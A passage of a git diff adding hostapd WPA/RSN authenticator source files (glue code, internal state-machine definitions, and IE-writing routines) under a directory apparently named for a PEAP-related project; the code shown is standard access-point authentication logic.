conf->wpa_group_rekey; + wconf->wpa_strict_rekey = conf->wpa_strict_rekey; + wconf->wpa_gmk_rekey = conf->wpa_gmk_rekey; + wconf->wpa_ptk_rekey = conf->wpa_ptk_rekey; + wconf->rsn_pairwise = conf->rsn_pairwise; + wconf->rsn_preauth = conf->rsn_preauth; + wconf->eapol_version = conf->eapol_version; + wconf->peerkey = conf->peerkey; + wconf->wmm_enabled = conf->wmm_enabled; + wconf->wmm_uapsd = conf->wmm_uapsd; + wconf->disable_pmksa_caching = conf->disable_pmksa_caching; + wconf->okc = conf->okc; +#ifdef CONFIG_IEEE80211W + wconf->ieee80211w = conf->ieee80211w; +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_IEEE80211R + wconf->ssid_len = conf->ssid.ssid_len; + if (wconf->ssid_len > SSID_LEN) + wconf->ssid_len = SSID_LEN; + os_memcpy(wconf->ssid, conf->ssid.ssid, wconf->ssid_len); + os_memcpy(wconf->mobility_domain, conf->mobility_domain, + MOBILITY_DOMAIN_ID_LEN); + if (conf->nas_identifier && + os_strlen(conf->nas_identifier) <= FT_R0KH_ID_MAX_LEN) { + wconf->r0_key_holder_len = os_strlen(conf->nas_identifier); + os_memcpy(wconf->r0_key_holder, conf->nas_identifier, + wconf->r0_key_holder_len); + } + os_memcpy(wconf->r1_key_holder, conf->r1_key_holder, FT_R1KH_ID_LEN); + wconf->r0_key_lifetime = conf->r0_key_lifetime; + wconf->reassociation_deadline = conf->reassociation_deadline; + wconf->r0kh_list = conf->r0kh_list; + wconf->r1kh_list = conf->r1kh_list; + wconf->pmk_r1_push = conf->pmk_r1_push; + wconf->ft_over_ds = conf->ft_over_ds; +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_HS20 + wconf->disable_gtk = conf->disable_dgaf; +#endif /* CONFIG_HS20 */ +#ifdef CONFIG_TESTING_OPTIONS + wconf->corrupt_gtk_rekey_mic_probability = + iconf->corrupt_gtk_rekey_mic_probability; +#endif /* CONFIG_TESTING_OPTIONS */ +} + + +static void hostapd_wpa_auth_logger(void *ctx, const u8 *addr, + logger_level level, const char *txt) +{ +#ifndef CONFIG_NO_HOSTAPD_LOGGER + struct hostapd_data *hapd = ctx; + int hlevel; + + switch (level) { + case LOGGER_WARNING: + hlevel = HOSTAPD_LEVEL_WARNING; + break; + case LOGGER_INFO: + hlevel = HOSTAPD_LEVEL_INFO; + break; + case LOGGER_DEBUG: + default: + hlevel = HOSTAPD_LEVEL_DEBUG; + break; + } + + hostapd_logger(hapd, addr, HOSTAPD_MODULE_WPA, hlevel, "%s", txt); +#endif /* CONFIG_NO_HOSTAPD_LOGGER */ +} + + +static void hostapd_wpa_auth_disconnect(void *ctx, const u8 *addr, + u16 reason) +{ + struct hostapd_data *hapd = ctx; + wpa_printf(MSG_DEBUG, "%s: WPA authenticator requests disconnect: " + "STA " MACSTR " reason %d", + __func__, MAC2STR(addr), reason); + ap_sta_disconnect(hapd, NULL, addr, reason); +} + + +static int hostapd_wpa_auth_mic_failure_report(void *ctx, const u8 *addr) +{ + struct hostapd_data *hapd = ctx; + return michael_mic_failure(hapd, addr, 0); +} + + +static void hostapd_wpa_auth_set_eapol(void *ctx, const u8 *addr, + wpa_eapol_variable var, int value) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta = ap_get_sta(hapd, addr); + if (sta == NULL) + return; + switch (var) { + case WPA_EAPOL_portEnabled: + ieee802_1x_notify_port_enabled(sta->eapol_sm, value); + break; + case WPA_EAPOL_portValid: + ieee802_1x_notify_port_valid(sta->eapol_sm, value); + break; + case WPA_EAPOL_authorized: + ieee802_1x_set_sta_authorized(hapd, sta, value); + break; + case WPA_EAPOL_portControl_Auto: + if (sta->eapol_sm) + sta->eapol_sm->portControl = Auto; + break; + case WPA_EAPOL_keyRun: + if (sta->eapol_sm) + sta->eapol_sm->keyRun = value ? TRUE : FALSE; + break; + case WPA_EAPOL_keyAvailable: + if (sta->eapol_sm) + sta->eapol_sm->eap_if->eapKeyAvailable = + value ? TRUE : FALSE; + break; + case WPA_EAPOL_keyDone: + if (sta->eapol_sm) + sta->eapol_sm->keyDone = value ? TRUE : FALSE; + break; + case WPA_EAPOL_inc_EapolFramesTx: + if (sta->eapol_sm) + sta->eapol_sm->dot1xAuthEapolFramesTx++; + break; + } +} + + +static int hostapd_wpa_auth_get_eapol(void *ctx, const u8 *addr, + wpa_eapol_variable var) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta = ap_get_sta(hapd, addr); + if (sta == NULL || sta->eapol_sm == NULL) + return -1; + switch (var) { + case WPA_EAPOL_keyRun: + return sta->eapol_sm->keyRun; + case WPA_EAPOL_keyAvailable: + return sta->eapol_sm->eap_if->eapKeyAvailable; + default: + return -1; + } +} + + +static const u8 * hostapd_wpa_auth_get_psk(void *ctx, const u8 *addr, + const u8 *p2p_dev_addr, + const u8 *prev_psk) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta = ap_get_sta(hapd, addr); + const u8 *psk; + +#ifdef CONFIG_SAE + if (sta && sta->auth_alg == WLAN_AUTH_SAE) { + if (!sta->sae || prev_psk) + return NULL; + return sta->sae->pmk; + } +#endif /* CONFIG_SAE */ + + psk = hostapd_get_psk(hapd->conf, addr, p2p_dev_addr, prev_psk); + /* + * This is about to iterate over all psks, prev_psk gives the last + * returned psk which should not be returned again. + * logic list (all hostapd_get_psk; all sta->psk) + */ + if (sta && sta->psk && !psk) { + struct hostapd_sta_wpa_psk_short *pos; + psk = sta->psk->psk; + for (pos = sta->psk; pos; pos = pos->next) { + if (pos->psk == prev_psk) { + psk = pos->next ? pos->next->psk : NULL; + break; + } + } + } + return psk; +} + + +static int hostapd_wpa_auth_get_msk(void *ctx, const u8 *addr, u8 *msk, + size_t *len) +{ + struct hostapd_data *hapd = ctx; + const u8 *key; + size_t keylen; + struct sta_info *sta; + + sta = ap_get_sta(hapd, addr); + if (sta == NULL) + return -1; + + key = ieee802_1x_get_key(sta->eapol_sm, &keylen); + if (key == NULL) + return -1; + + if (keylen > *len) + keylen = *len; + os_memcpy(msk, key, keylen); + *len = keylen; + + return 0; +} + + +static int hostapd_wpa_auth_set_key(void *ctx, int vlan_id, enum wpa_alg alg, + const u8 *addr, int idx, u8 *key, + size_t key_len) +{ + struct hostapd_data *hapd = ctx; + const char *ifname = hapd->conf->iface; + + if (vlan_id > 0) { + ifname = hostapd_get_vlan_id_ifname(hapd->conf->vlan, vlan_id); + if (ifname == NULL) + return -1; + } + + return hostapd_drv_set_key(ifname, hapd, alg, addr, idx, 1, NULL, 0, + key, key_len); +} + + +static int hostapd_wpa_auth_get_seqnum(void *ctx, const u8 *addr, int idx, + u8 *seq) +{ + struct hostapd_data *hapd = ctx; + return hostapd_get_seqnum(hapd->conf->iface, hapd, addr, idx, seq); +} + + +static int hostapd_wpa_auth_send_eapol(void *ctx, const u8 *addr, + const u8 *data, size_t data_len, + int encrypt) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta; + u32 flags = 0; + + sta = ap_get_sta(hapd, addr); + if (sta) + flags = hostapd_sta_flags_to_drv(sta->flags); + + return hostapd_drv_hapd_send_eapol(hapd, addr, data, data_len, + encrypt, flags); +} + + +static int hostapd_wpa_auth_for_each_sta( + void *ctx, int (*cb)(struct wpa_state_machine *sm, void *ctx), + void *cb_ctx) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta; + + for (sta = hapd->sta_list; sta; sta = sta->next) { + if (sta->wpa_sm && cb(sta->wpa_sm, cb_ctx)) + return 1; + } + return 0; +} + + +struct wpa_auth_iface_iter_data { + int (*cb)(struct wpa_authenticator *sm, void *ctx); + void *cb_ctx; +}; + +static int wpa_auth_iface_iter(struct hostapd_iface *iface, void *ctx) +{ + struct wpa_auth_iface_iter_data *data = ctx; + size_t i; + for (i = 0; i < iface->num_bss; i++) { + if (iface->bss[i]->wpa_auth && + data->cb(iface->bss[i]->wpa_auth, data->cb_ctx)) + return 1; + } + return 0; +} + + +static int hostapd_wpa_auth_for_each_auth( + void *ctx, int (*cb)(struct wpa_authenticator *sm, void *ctx), + void *cb_ctx) +{ + struct hostapd_data *hapd = ctx; + struct wpa_auth_iface_iter_data data; + if (hapd->iface->interfaces == NULL || + hapd->iface->interfaces->for_each_interface == NULL) + return -1; + data.cb = cb; + data.cb_ctx = cb_ctx; + return hapd->iface->interfaces->for_each_interface( + hapd->iface->interfaces, wpa_auth_iface_iter, &data); +} + + +#ifdef CONFIG_IEEE80211R + +struct wpa_auth_ft_iface_iter_data { + struct hostapd_data *src_hapd; + const u8 *dst; + const u8 *data; + size_t data_len; +}; + + +static int hostapd_wpa_auth_ft_iter(struct hostapd_iface *iface, void *ctx) +{ + struct wpa_auth_ft_iface_iter_data *idata = ctx; + struct hostapd_data *hapd; + size_t j; + + for (j = 0; j < iface->num_bss; j++) { + hapd = iface->bss[j]; + if (hapd == idata->src_hapd) + continue; + if (os_memcmp(hapd->own_addr, idata->dst, ETH_ALEN) == 0) { + wpa_printf(MSG_DEBUG, "FT: Send RRB data directly to " + "locally managed BSS " MACSTR "@%s -> " + MACSTR "@%s", + MAC2STR(idata->src_hapd->own_addr), + idata->src_hapd->conf->iface, + MAC2STR(hapd->own_addr), hapd->conf->iface); + wpa_ft_rrb_rx(hapd->wpa_auth, + idata->src_hapd->own_addr, + idata->data, idata->data_len); + return 1; + } + } + + return 0; +} + +#endif /* CONFIG_IEEE80211R */ + + +static int hostapd_wpa_auth_send_ether(void *ctx, const u8 *dst, u16 proto, + const u8 *data, size_t data_len) +{ + struct hostapd_data *hapd = ctx; + struct l2_ethhdr *buf; + int ret; + +#ifdef CONFIG_IEEE80211R + if (proto == ETH_P_RRB && hapd->iface->interfaces && + hapd->iface->interfaces->for_each_interface) { + int res; + struct wpa_auth_ft_iface_iter_data idata; + idata.src_hapd = hapd; + idata.dst = dst; + idata.data = data; + idata.data_len = data_len; + res = hapd->iface->interfaces->for_each_interface( + hapd->iface->interfaces, hostapd_wpa_auth_ft_iter, + &idata); + if (res == 1) + return data_len; + } +#endif /* CONFIG_IEEE80211R */ + + if (hapd->driver && hapd->driver->send_ether) + return hapd->driver->send_ether(hapd->drv_priv, dst, + hapd->own_addr, proto, + data, data_len); + if (hapd->l2 == NULL) + return -1; + + buf = os_malloc(sizeof(*buf) + data_len); + if (buf == NULL) + return -1; + os_memcpy(buf->h_dest, dst, ETH_ALEN); + os_memcpy(buf->h_source, hapd->own_addr, ETH_ALEN); + buf->h_proto = host_to_be16(proto); + os_memcpy(buf + 1, data, data_len); + ret = l2_packet_send(hapd->l2, dst, proto, (u8 *) buf, + sizeof(*buf) + data_len); + os_free(buf); + return ret; +} + + +#ifdef CONFIG_IEEE80211R + +static int hostapd_wpa_auth_send_ft_action(void *ctx, const u8 *dst, + const u8 *data, size_t data_len) +{ + struct hostapd_data *hapd = ctx; + int res; + struct ieee80211_mgmt *m; + size_t mlen; + struct sta_info *sta; + + sta = ap_get_sta(hapd, dst); + if (sta == NULL || sta->wpa_sm == NULL) + return -1; + + m = os_zalloc(sizeof(*m) + data_len); + if (m == NULL) + return -1; + mlen = ((u8 *) &m->u - (u8 *) m) + data_len; + m->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_ACTION); + os_memcpy(m->da, dst, ETH_ALEN); + os_memcpy(m->sa, hapd->own_addr, ETH_ALEN); + os_memcpy(m->bssid, hapd->own_addr, ETH_ALEN); + os_memcpy(&m->u, data, data_len); + + res = hostapd_drv_send_mlme(hapd, (u8 *) m, mlen, 0); + os_free(m); + return res; +} + + +static struct wpa_state_machine * +hostapd_wpa_auth_add_sta(void *ctx, const u8 *sta_addr) +{ + struct hostapd_data *hapd = ctx; + struct sta_info *sta; + + if (hostapd_add_sta_node(hapd, sta_addr, WLAN_AUTH_FT) < 0) + return NULL; + + sta = ap_sta_add(hapd, sta_addr); + if (sta == NULL) + return NULL; + if (sta->wpa_sm) { + sta->auth_alg = WLAN_AUTH_FT; + return sta->wpa_sm; + } + + sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, NULL); + if (sta->wpa_sm == NULL) { + ap_free_sta(hapd, sta); + return NULL; + } + sta->auth_alg = WLAN_AUTH_FT; + + return sta->wpa_sm; +} + + +static void hostapd_rrb_receive(void *ctx, const u8 *src_addr, const u8 *buf, + size_t len) +{ + struct hostapd_data *hapd = ctx; + struct l2_ethhdr *ethhdr; + if (len < sizeof(*ethhdr)) + return; + ethhdr = (struct l2_ethhdr *) buf; + wpa_printf(MSG_DEBUG, "FT: RRB received packet " MACSTR " -> " + MACSTR, MAC2STR(ethhdr->h_source), MAC2STR(ethhdr->h_dest)); + wpa_ft_rrb_rx(hapd->wpa_auth, ethhdr->h_source, buf + sizeof(*ethhdr), + len - sizeof(*ethhdr)); +} + + +static int hostapd_wpa_auth_add_tspec(void *ctx, const u8 *sta_addr, + u8 *tspec_ie, size_t tspec_ielen) +{ + struct hostapd_data *hapd = ctx; + return hostapd_add_tspec(hapd, sta_addr, tspec_ie, tspec_ielen); +} + +#endif /* CONFIG_IEEE80211R */ + + +int hostapd_setup_wpa(struct hostapd_data *hapd) +{ + struct wpa_auth_config _conf; + struct wpa_auth_callbacks cb; + const u8 *wpa_ie; + size_t wpa_ie_len; + + hostapd_wpa_auth_conf(hapd->conf, hapd->iconf, &_conf); + if (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_EAPOL_TX_STATUS) + _conf.tx_status = 1; + if (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_AP_MLME) + _conf.ap_mlme = 1; + os_memset(&cb, 0, sizeof(cb)); + cb.ctx = hapd; + cb.logger = hostapd_wpa_auth_logger; + cb.disconnect = hostapd_wpa_auth_disconnect; + cb.mic_failure_report = hostapd_wpa_auth_mic_failure_report; + cb.set_eapol = hostapd_wpa_auth_set_eapol; + cb.get_eapol = hostapd_wpa_auth_get_eapol; + cb.get_psk = hostapd_wpa_auth_get_psk; + cb.get_msk = hostapd_wpa_auth_get_msk; + cb.set_key = hostapd_wpa_auth_set_key; + cb.get_seqnum = hostapd_wpa_auth_get_seqnum; + cb.send_eapol = hostapd_wpa_auth_send_eapol; + cb.for_each_sta = hostapd_wpa_auth_for_each_sta; + cb.for_each_auth = hostapd_wpa_auth_for_each_auth; + cb.send_ether = hostapd_wpa_auth_send_ether; +#ifdef CONFIG_IEEE80211R + cb.send_ft_action = hostapd_wpa_auth_send_ft_action; + cb.add_sta = hostapd_wpa_auth_add_sta; + cb.add_tspec = hostapd_wpa_auth_add_tspec; +#endif /* CONFIG_IEEE80211R */ + hapd->wpa_auth = wpa_init(hapd->own_addr, &_conf, &cb); + if (hapd->wpa_auth == NULL) { + wpa_printf(MSG_ERROR, "WPA initialization failed."); + return -1; + } + + if (hostapd_set_privacy(hapd, 1)) { + wpa_printf(MSG_ERROR, "Could not set PrivacyInvoked " + "for interface %s", hapd->conf->iface); + return -1; + } + + wpa_ie = wpa_auth_get_wpa_ie(hapd->wpa_auth, &wpa_ie_len); + if (hostapd_set_generic_elem(hapd, wpa_ie, wpa_ie_len)) { + wpa_printf(MSG_ERROR, "Failed to configure WPA IE for " + "the kernel driver."); + return -1; + } + + if (rsn_preauth_iface_init(hapd)) { + wpa_printf(MSG_ERROR, "Initialization of RSN " + "pre-authentication failed."); + return -1; + } + +#ifdef CONFIG_IEEE80211R + if (!hostapd_drv_none(hapd)) { + hapd->l2 = l2_packet_init(hapd->conf->bridge[0] ? + hapd->conf->bridge : + hapd->conf->iface, NULL, ETH_P_RRB, + hostapd_rrb_receive, hapd, 1); + if (hapd->l2 == NULL && + (hapd->driver == NULL || + hapd->driver->send_ether == NULL)) { + wpa_printf(MSG_ERROR, "Failed to open l2_packet " + "interface"); + return -1; + } + } +#endif /* CONFIG_IEEE80211R */ + + return 0; + +} + + +void hostapd_reconfig_wpa(struct hostapd_data *hapd) +{ + struct wpa_auth_config wpa_auth_conf; + hostapd_wpa_auth_conf(hapd->conf, hapd->iconf, &wpa_auth_conf); + wpa_reconfig(hapd->wpa_auth, &wpa_auth_conf); +} + + +void hostapd_deinit_wpa(struct hostapd_data *hapd) +{ + ieee80211_tkip_countermeasures_deinit(hapd); + rsn_preauth_iface_deinit(hapd); + if (hapd->wpa_auth) { + wpa_deinit(hapd->wpa_auth); + hapd->wpa_auth = NULL; + + if (hostapd_set_privacy(hapd, 0)) { + wpa_printf(MSG_DEBUG, "Could not disable " + "PrivacyInvoked for interface %s", + hapd->conf->iface); + } + + if (hostapd_set_generic_elem(hapd, (u8 *) "", 0)) { + wpa_printf(MSG_DEBUG, "Could not remove generic " + "information element from interface %s", + hapd->conf->iface); + } + } + ieee802_1x_deinit(hapd); + +#ifdef CONFIG_IEEE80211R + l2_packet_deinit(hapd->l2); + hapd->l2 = NULL; +#endif /* CONFIG_IEEE80211R */ +} diff --git a/peapwn/mods/hostap/src/ap/wpa_auth_glue.h b/peapwn/mods/hostap/src/ap/wpa_auth_glue.h new file mode 100644 index 000000000..1b13ae7be --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wpa_auth_glue.h @@ -0,0 +1,16 @@ +/* + * hostapd / WPA authenticator glue code + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_AUTH_GLUE_H +#define WPA_AUTH_GLUE_H + +int hostapd_setup_wpa(struct hostapd_data *hapd); +void hostapd_reconfig_wpa(struct hostapd_data *hapd); +void hostapd_deinit_wpa(struct hostapd_data *hapd); + +#endif /* WPA_AUTH_GLUE_H */ diff --git a/peapwn/mods/hostap/src/ap/wpa_auth_i.h b/peapwn/mods/hostap/src/ap/wpa_auth_i.h new file mode 100644 index 000000000..12e59bc4d --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wpa_auth_i.h @@ -0,0 +1,233 @@ +/* + * hostapd - IEEE 802.11i-2004 / WPA Authenticator: Internal definitions + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_AUTH_I_H +#define WPA_AUTH_I_H + +/* max(dot11RSNAConfigGroupUpdateCount,dot11RSNAConfigPairwiseUpdateCount) */ +#define RSNA_MAX_EAPOL_RETRIES 4 + +struct wpa_group; + +struct wpa_stsl_negotiation { + struct wpa_stsl_negotiation *next; + u8 initiator[ETH_ALEN]; + u8 peer[ETH_ALEN]; +}; + + +struct wpa_state_machine { + struct wpa_authenticator *wpa_auth; + struct wpa_group *group; + + u8 addr[ETH_ALEN]; + u8 p2p_dev_addr[ETH_ALEN]; + + enum { + WPA_PTK_INITIALIZE, WPA_PTK_DISCONNECT, WPA_PTK_DISCONNECTED, + WPA_PTK_AUTHENTICATION, WPA_PTK_AUTHENTICATION2, + WPA_PTK_INITPMK, WPA_PTK_INITPSK, WPA_PTK_PTKSTART, + WPA_PTK_PTKCALCNEGOTIATING, WPA_PTK_PTKCALCNEGOTIATING2, + WPA_PTK_PTKINITNEGOTIATING, WPA_PTK_PTKINITDONE + } wpa_ptk_state; + + enum { + WPA_PTK_GROUP_IDLE = 0, + WPA_PTK_GROUP_REKEYNEGOTIATING, + WPA_PTK_GROUP_REKEYESTABLISHED, + WPA_PTK_GROUP_KEYERROR + } wpa_ptk_group_state; + + Boolean Init; + Boolean DeauthenticationRequest; + Boolean AuthenticationRequest; + Boolean ReAuthenticationRequest; + Boolean Disconnect; + int TimeoutCtr; + int GTimeoutCtr; + Boolean TimeoutEvt; + Boolean EAPOLKeyReceived; + Boolean EAPOLKeyPairwise; + Boolean EAPOLKeyRequest; + Boolean MICVerified; + Boolean GUpdateStationKeys; + u8 ANonce[WPA_NONCE_LEN]; + u8 SNonce[WPA_NONCE_LEN]; + u8 PMK[PMK_LEN]; + struct wpa_ptk PTK; + Boolean PTK_valid; + Boolean pairwise_set; + int keycount; + Boolean Pair; + struct wpa_key_replay_counter { + u8 counter[WPA_REPLAY_COUNTER_LEN]; + Boolean valid; + } key_replay[RSNA_MAX_EAPOL_RETRIES], + prev_key_replay[RSNA_MAX_EAPOL_RETRIES]; + Boolean PInitAKeys; /* WPA only, not in IEEE 802.11i */ + Boolean PTKRequest; /* not in IEEE 802.11i state machine */ + Boolean has_GTK; + Boolean PtkGroupInit; /* init request for PTK Group state machine */ + + u8 *last_rx_eapol_key; /* starting from IEEE 802.1X header */ + size_t last_rx_eapol_key_len; + + unsigned int changed:1; + unsigned int in_step_loop:1; + unsigned int pending_deinit:1; + unsigned int started:1; + unsigned int mgmt_frame_prot:1; + unsigned int rx_eapol_key_secure:1; + unsigned int update_snonce:1; +#ifdef CONFIG_IEEE80211R + unsigned int ft_completed:1; + unsigned int pmk_r1_name_valid:1; +#endif /* CONFIG_IEEE80211R */ + unsigned int is_wnmsleep:1; + + u8 req_replay_counter[WPA_REPLAY_COUNTER_LEN]; + int req_replay_counter_used; + + u8 *wpa_ie; + size_t wpa_ie_len; + + enum { + WPA_VERSION_NO_WPA = 0 /* WPA not used */, + WPA_VERSION_WPA = 1 /* WPA / IEEE 802.11i/D3.0 */, + WPA_VERSION_WPA2 = 2 /* WPA2 / IEEE 802.11i */ + } wpa; + int pairwise; /* Pairwise cipher suite, WPA_CIPHER_* */ + int wpa_key_mgmt; /* the selected WPA_KEY_MGMT_* */ + struct rsn_pmksa_cache_entry *pmksa; + + u32 dot11RSNAStatsTKIPLocalMICFailures; + u32 dot11RSNAStatsTKIPRemoteMICFailures; + +#ifdef CONFIG_IEEE80211R + u8 xxkey[PMK_LEN]; /* PSK or the second 256 bits of MSK */ + size_t xxkey_len; + u8 pmk_r1_name[WPA_PMK_NAME_LEN]; /* PMKR1Name derived from FT Auth + * Request */ + u8 r0kh_id[FT_R0KH_ID_MAX_LEN]; /* R0KH-ID from FT Auth Request */ + size_t r0kh_id_len; + u8 sup_pmk_r1_name[WPA_PMK_NAME_LEN]; /* PMKR1Name from EAPOL-Key + * message 2/4 */ + u8 *assoc_resp_ftie; +#endif /* CONFIG_IEEE80211R */ + + int pending_1_of_4_timeout; +}; + + +/* per group key state machine data */ +struct wpa_group { + struct wpa_group *next; + int vlan_id; + + Boolean GInit; + int GKeyDoneStations; + Boolean GTKReKey; + int GTK_len; + int GN, GM; + Boolean GTKAuthenticator; + u8 Counter[WPA_NONCE_LEN]; + + enum { + WPA_GROUP_GTK_INIT = 0, + WPA_GROUP_SETKEYS, WPA_GROUP_SETKEYSDONE + } wpa_group_state; + + u8 GMK[WPA_GMK_LEN]; + u8 GTK[2][WPA_GTK_MAX_LEN]; + u8 GNonce[WPA_NONCE_LEN]; + Boolean changed; + Boolean first_sta_seen; + Boolean reject_4way_hs_for_entropy; +#ifdef CONFIG_IEEE80211W + u8 IGTK[2][WPA_IGTK_LEN]; + int GN_igtk, GM_igtk; +#endif /* CONFIG_IEEE80211W */ +}; + + +struct wpa_ft_pmk_cache; + +/* per authenticator data */ +struct wpa_authenticator { + struct wpa_group *group; + + unsigned int dot11RSNAStatsTKIPRemoteMICFailures; + u32 dot11RSNAAuthenticationSuiteSelected; + u32 dot11RSNAPairwiseCipherSelected; + u32 dot11RSNAGroupCipherSelected; + u8 dot11RSNAPMKIDUsed[PMKID_LEN]; + u32 dot11RSNAAuthenticationSuiteRequested; /* FIX: update */ + u32 dot11RSNAPairwiseCipherRequested; /* FIX: update */ + u32 dot11RSNAGroupCipherRequested; /* FIX: update */ + unsigned int dot11RSNATKIPCounterMeasuresInvoked; + unsigned int dot11RSNA4WayHandshakeFailures; + + struct wpa_stsl_negotiation *stsl_negotiations; + + struct wpa_auth_config conf; + struct wpa_auth_callbacks cb; + + u8 *wpa_ie; + size_t wpa_ie_len; + + u8 addr[ETH_ALEN]; + + struct rsn_pmksa_cache *pmksa; + struct wpa_ft_pmk_cache *ft_pmk_cache; +}; + + +int wpa_write_rsn_ie(struct wpa_auth_config *conf, u8 *buf, size_t len, + const u8 *pmkid); +void wpa_auth_logger(struct wpa_authenticator *wpa_auth, const u8 *addr, + logger_level level, const char *txt); +void wpa_auth_vlogger(struct wpa_authenticator *wpa_auth, const u8 *addr, + logger_level level, const char *fmt, ...); +void __wpa_send_eapol(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, int key_info, + const u8 *key_rsc, const u8 *nonce, + const u8 *kde, size_t kde_len, + int keyidx, int encr, int force_version); +int wpa_auth_for_each_sta(struct wpa_authenticator *wpa_auth, + int (*cb)(struct wpa_state_machine *sm, void *ctx), + void *cb_ctx); +int wpa_auth_for_each_auth(struct wpa_authenticator *wpa_auth, + int (*cb)(struct wpa_authenticator *a, void *ctx), + void *cb_ctx); + +#ifdef CONFIG_PEERKEY +int wpa_stsl_remove(struct wpa_authenticator *wpa_auth, + struct wpa_stsl_negotiation *neg); +void wpa_smk_error(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, struct wpa_eapol_key *key); +void wpa_smk_m1(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, struct wpa_eapol_key *key); +void wpa_smk_m3(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, struct wpa_eapol_key *key); +#endif /* CONFIG_PEERKEY */ + +#ifdef CONFIG_IEEE80211R +int wpa_write_mdie(struct wpa_auth_config *conf, u8 *buf, size_t len); +int wpa_write_ftie(struct wpa_auth_config *conf, const u8 *r0kh_id, + size_t r0kh_id_len, + const u8 *anonce, const u8 *snonce, + u8 *buf, size_t len, const u8 *subelem, + size_t subelem_len); +int wpa_auth_derive_ptk_ft(struct wpa_state_machine *sm, const u8 *pmk, + struct wpa_ptk *ptk, size_t ptk_len); +struct wpa_ft_pmk_cache * wpa_ft_pmk_cache_init(void); +void wpa_ft_pmk_cache_deinit(struct wpa_ft_pmk_cache *cache); +void wpa_ft_install_ptk(struct wpa_state_machine *sm); +#endif /* CONFIG_IEEE80211R */ + +#endif /* WPA_AUTH_I_H */ diff --git a/peapwn/mods/hostap/src/ap/wpa_auth_ie.c b/peapwn/mods/hostap/src/ap/wpa_auth_ie.c new file mode 100644 index 000000000..cdfcca198 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wpa_auth_ie.c @@ -0,0 +1,775 @@ +/* + * hostapd - WPA/RSN IE and KDE definitions + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "eapol_auth/eapol_auth_sm.h" +#include "ap_config.h" +#include "ieee802_11.h" +#include "wpa_auth.h" +#include "pmksa_cache_auth.h" +#include "wpa_auth_ie.h" +#include "wpa_auth_i.h" + + +#ifdef CONFIG_RSN_TESTING +int rsn_testing = 0; +#endif /* CONFIG_RSN_TESTING */ + + +static int wpa_write_wpa_ie(struct wpa_auth_config *conf, u8 *buf, size_t len) +{ + struct wpa_ie_hdr *hdr; + int num_suites; + u8 *pos, *count; + u32 suite; + + hdr = (struct wpa_ie_hdr *) buf; + hdr->elem_id = WLAN_EID_VENDOR_SPECIFIC; + RSN_SELECTOR_PUT(hdr->oui, WPA_OUI_TYPE); + WPA_PUT_LE16(hdr->version, WPA_VERSION); + pos = (u8 *) (hdr + 1); + + suite = wpa_cipher_to_suite(WPA_PROTO_WPA, conf->wpa_group); + if (suite == 0) { + wpa_printf(MSG_DEBUG, "Invalid group cipher (%d).", + conf->wpa_group); + return -1; + } + RSN_SELECTOR_PUT(pos, suite); + pos += WPA_SELECTOR_LEN; + + count = pos; + pos += 2; + + num_suites = wpa_cipher_put_suites(pos, conf->wpa_pairwise); + if (num_suites == 0) { + wpa_printf(MSG_DEBUG, "Invalid pairwise cipher (%d).", + conf->wpa_pairwise); + return -1; + } + pos += num_suites * WPA_SELECTOR_LEN; + WPA_PUT_LE16(count, num_suites); + + num_suites = 0; + count = pos; + pos += 2; + + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_IEEE8021X) { + RSN_SELECTOR_PUT(pos, WPA_AUTH_KEY_MGMT_UNSPEC_802_1X); + pos += WPA_SELECTOR_LEN; + num_suites++; + } + if (conf->wpa_key_mgmt & WPA_KEY_MGMT_PSK) { + RSN_SELECTOR_PUT(pos, WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X); + pos += WPA_SELECTOR_LEN; + num_suites++; + } + + if (num_suites == 0) { + wpa_printf(MSG_DEBUG, "Invalid key management type (%d).", + conf->wpa_key_mgmt); + return -1; + } + WPA_PUT_LE16(count, num_suites); + + /* WPA Capabilities; use defaults, so no need to include it */ + + hdr->len = (pos - buf) - 2; + + return pos - buf; +} + + +int wpa_write_rsn_ie(struct wpa_auth_config *conf, u8 *buf, size_t len, + const u8 *pmkid) +{ + struct rsn_ie_hdr *hdr; + int num_suites, res; + u8 *pos, *count; + u16 capab; + u32 suite; + + hdr = (struct rsn_ie_hdr *) buf; + hdr->elem_id = WLAN_EID_RSN; + WPA_PUT_LE16(hdr->version, RSN_VERSION); + pos = (u8 *) (hdr + 1); + + suite = wpa_cipher_to_suite(WPA_PROTO_RSN, conf->wpa_group); + if (suite == 0) { + wpa_printf(MSG_DEBUG, "Invalid group cipher (%d).", + conf->wpa_group); + return -1; + } + RSN_SELECTOR_PUT(pos, suite); + pos += RSN_SELECTOR_LEN; + + num_suites = 0; + count = pos; + pos += 2; + +#ifdef CONFIG_RSN_TESTING + if (rsn_testing) { + RSN_SELECTOR_PUT(pos, RSN_SELECTOR(0x12, 0x34, 0x56, 1)); + pos += RSN_SELECTOR_LEN; + num_suites++; + } +#endif /* CONFIG_RSN_TESTING */ + + res = rsn_cipher_put_suites(pos, conf->rsn_pairwise); + num_suites += res; + pos += res * RSN_SELECTOR_LEN; + +#ifdef CONFIG_RSN_TESTING 